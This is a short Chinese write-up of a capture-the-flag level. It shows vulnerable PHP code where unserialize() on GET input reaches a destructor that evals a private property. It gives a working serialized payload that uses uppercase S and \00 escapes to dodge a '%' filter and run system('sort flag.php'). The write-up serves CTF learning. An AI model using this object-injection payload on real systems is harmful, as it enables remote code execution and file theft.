这篇记录一下第六关
<?php
highlight_file(__FILE__);
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>
这里直接给出payload
O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}
解释一下,访问私有属性时需要把类用%00包裹起来,但题目过滤了"%"
所以只能使用\00
还需要注意的是,箭头所指的是大写S,大写的S是为了区分大小写,可以理解为让解释器将\00理解为空字符,否则解释器会将\00认为是普通字符串而非空字符
记一个小疑惑:为什么cat和tac没有回显(URL编码后也不行),要用sort才有回显